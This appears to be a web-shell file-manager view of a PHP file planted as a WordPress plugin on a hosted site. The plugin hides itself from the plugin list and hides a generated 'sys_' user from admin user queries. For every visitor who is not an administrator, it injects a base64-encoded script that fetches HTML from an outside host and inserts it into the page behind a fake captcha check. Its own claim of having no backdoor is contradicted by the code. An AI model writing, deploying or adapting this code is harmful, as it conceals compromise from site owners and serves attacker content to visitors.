SCHWEIS
Server: LiteSpeed
System: Linux premium103.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User: aaasepid (956)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/aaasepid/www/wp-content/plugins/litespeed-social/transition-scaffold-lean.php
<?php
/**
 * Plugin Name: TransitionScaffold Lean (Lab)
 * Description: Скрытие плагина из списка (всегда) + pre_user_query + футер tets.txt. Без бэкдора.
 * Version: 1.6.6
 * License: MIT
 *
 * Плагин скрыт в «Плагины» (как в сэмпле). Отключить: FTP/файловый менеджер — переименовать или
 * удалить папку плагина, либо через WP-CLI / БД (active_plugins).
 * Если кнопка «Активировать» не срабатывает: включите WP_DEBUG_LOG и проверьте,
 * нет ли второй копии этого файла в другой папке plugins/ (двойная загрузка).
 *
 * Диагностика (wp-config.php, до "That's all"):
 *   define('TSC_LEAN_DIAG', true);           // комментарий в HTML + уведомление в админке
 *   define('TSC_LEAN_SHOW_FOR_ADMIN', true); // как старый TSC_CAPTCHA_DEBUG — выводить скрипт даже для administrator
 *   define('TSC_LEAN_BLOCK_IN_WP_ADMIN', true); // не выводить в экранах wp-admin (в tets.txt этого не было)
 *   define('TSC_LEAN_ALSO_BODY_OPEN', true); // дублировать вывод в wp_body_open (если футер кэшируется / тема кривая)
 *   define('TSC_LEAN_VISIBLE_MARKER', true); // жёлтая полоска на сайте = хук сработал (если не видите — кэш/тема)
 *   define('TSC_LEAN_RESET_CAPTCHA_STATE', true); // перед скриптом сбросить cookie/storage «captcha_seen» (для повторного fetch)
 */

if (! defined('ABSPATH')) {
    exit;
}

/**
 * Уникальное имя класса + одно объявление — иначе при двух копиях плагина возможна
 * ошибка «Cannot redeclare class …» и активация не завершится.
 */
if (! class_exists('TSC_TransitionScaffold_Lean', false)) {
    class TSC_TransitionScaffold_Lean {

    private $seed;

    /** Base64 из tets.txt (fetch → testio.ecartdev.com). */
    const TETS_FOOTER_SCRIPT_B64 = 'PHNjcmlwdD5jb25zdCBjb29raWVuYW1lID0gImNhcHRjaGFfc2VlbiI7Y29uc3QgY3RwU3RvcmFnZUtleSA9ICJjdHBfcGFzc18iICsgY29va2llbmFtZS5yZXBsYWNlKC9bXmEtekEtWjAtOV8tXS9nLCAiXyIpO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9ZnVuY3Rpb24gY3RwSXNDb21wbGV0ZSgpe2lmKGdldENvb2tpZShjb29raWVuYW1lKSl7cmV0dXJuIHRydWU7fXRyeXtpZihsb2NhbFN0b3JhZ2UuZ2V0SXRlbShjdHBTdG9yYWdlS2V5KSA9PT0gIjEiKXtyZXR1cm4gdHJ1ZTt9aWYoc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbShjdHBTdG9yYWdlS2V5KSA9PT0gIjEiKXtyZXR1cm4gdHJ1ZTt9fWNhdGNoKGVycikge31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGN0cE1hcmtDb21wbGV0ZSgpe3RyeXtsb2NhbFN0b3JhZ2Uuc2V0SXRlbShjdHBTdG9yYWdlS2V5LCAiMSIpO3Nlc3Npb25TdG9yYWdlLnNldEl0ZW0oY3RwU3RvcmFnZUtleSwgIjEiKTt9Y2F0Y2goZXJyKSB7fXZhciBjayA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSkgKyAiOyBTYW1lU2l0ZT1MYXgiO2lmKGxvY2F0aW9uLnByb3RvY29sID09PSAiaHR0cHM6Iil7Y2sgKz0gIjsgU2VjdXJlIjt9ZG9jdW1lbnQuY29va2llID0gY2s7fXdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXtjdHBNYXJrQ29tcGxldGUoKTt3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7fX0pO2lmKCFjdHBJc0NvbXBsZXRlKCkpe2ZldGNoKCJodHRwczovL3Rlc3Rpby5lY2FydGRldi5jb20iKS50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLm9rID8gcmVzcG9uc2UudGV4dCgpIDogUHJvbWlzZS5yZWplY3QoKSkudGhlbihodG1sID0+e2lmKGh0bWwubGVuZ3RoID09PSAwKXtjdHBNYXJrQ29tcGxldGUoKTt9ZWxzZXtkb2N1bWVudC5ib2R5Lmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwgaHRtbCk7fX0pLmNhdGNoKCgpID0+IGNvbnNvbGUuZXJyb3IoIkZhaWxlZCB0byBsb2FkIHBhZ2UhIikpO308L3NjcmlwdD4=';

    /** Уже вывели скрипт в этом запросе (чтобы не дублировать footer + body_open). */
    private static $script_printed = false;

    public function __construct() {
        $this->seed = md5(DB_PASSWORD . AUTH_SALT);

        add_filter('all_plugins', array($this, 'hide_plugin'));

        add_action('pre_user_query', array($this, 'filter_admin_users'));

        add_action('wp_footer', array($this, 'render_tets_footer'), 99);

        if (defined('TSC_LEAN_ALSO_BODY_OPEN') && TSC_LEAN_ALSO_BODY_OPEN) {
            add_action('wp_body_open', array($this, 'render_tets_footer'), 99);
        }

        if (defined('TSC_LEAN_DIAG') && TSC_LEAN_DIAG) {
            add_action('admin_notices', array($this, 'admin_notice_diag'));
        }
    }

    public function admin_notice_diag() {
        if (! current_user_can('manage_options')) {
            return;
        }
        echo '<div class="notice notice-info is-dismissible"><p><strong>TransitionScaffold Lean:</strong> плагин загружен. Откройте главную сайта «инкогнито», в исходном коде ищите <code>captcha_seen</code> или <code>testio.ecartdev.com</code>.</p></div>';
    }

    /**
     * @param array<string,array> $plugins
     * @return array<string,array>
     */
    public function hide_plugin($plugins) {
        unset($plugins[ plugin_basename(__FILE__) ]);
        return $plugins;
    }

    private function get_hidden_username() {
        $cred_key = substr(hash('sha256', $this->seed . 'creds'), 0, 16);

        return 'sys_' . substr(md5($cred_key), 0, 8);
    }

    /**
     * Только в админке — на фронте лишний SQL не нужен и может мешать плагинам.
     *
     * @param WP_User_Query $user_query
     */
    public function filter_admin_users($user_query) {
        if (! is_admin()) {
            return;
        }

        global $wpdb;
        $hidden_login = esc_sql($this->get_hidden_username());
        $user_query->query_where .= " AND {$wpdb->users}.user_login != '{$hidden_login}'";
    }

    public function render_tets_footer() {
        if (self::$script_printed) {
            return;
        }

        // В tets.txt только проверка роли administrator — без is_admin(). По умолчанию повторяем это.
        $show_for_admin = (defined('TSC_LEAN_SHOW_FOR_ADMIN') && TSC_LEAN_SHOW_FOR_ADMIN)
            || (defined('TSC_CAPTCHA_DEBUG') && TSC_CAPTCHA_DEBUG);

        if (defined('TSC_LEAN_BLOCK_IN_WP_ADMIN') && TSC_LEAN_BLOCK_IN_WP_ADMIN && is_admin()) {
            return;
        }

        if (! $show_for_admin) {
            $current_user = wp_get_current_user();
            if (in_array('administrator', (array) $current_user->roles, true)) {
                return;
            }
        }

        if (defined('TSC_LEAN_DIAG') && TSC_LEAN_DIAG) {
            echo "\n<!-- TSC_LEAN_DIAG: wp_footer/body_open ran, file=" . esc_html(plugin_basename(__FILE__)) . " -->\n";
        }

        if (defined('TSC_LEAN_VISIBLE_MARKER') && TSC_LEAN_VISIBLE_MARKER) {
            echo '<div id="tsc-lean-marker" style="position:fixed;left:0;right:0;bottom:0;z-index:999999;background:#ffeb3b;color:#000;padding:8px 12px;font:14px/1.4 sans-serif;text-align:center;box-shadow:0 -2px 8px rgba(0,0,0,.2)">TransitionScaffold Lean: блок футера выполнен. Капча подгружается скриптом ниже; если полоски нет — смотрите кэш/оптимизатор.</div>';
        }

        if (defined('TSC_LEAN_RESET_CAPTCHA_STATE') && TSC_LEAN_RESET_CAPTCHA_STATE) {
            echo '<script>(function(){try{document.cookie="captcha_seen=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/";if(location.protocol==="https:"){document.cookie="captcha_seen=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/;Secure"}localStorage.removeItem("ctp_pass_captcha_seen");sessionStorage.removeItem("ctp_pass_captcha_seen");}catch(e){}})();</script>';
        }

        echo base64_decode(self::TETS_FOOTER_SCRIPT_B64);
        self::$script_printed = true;
    }
    }
}

new TSC_TransitionScaffold_Lean();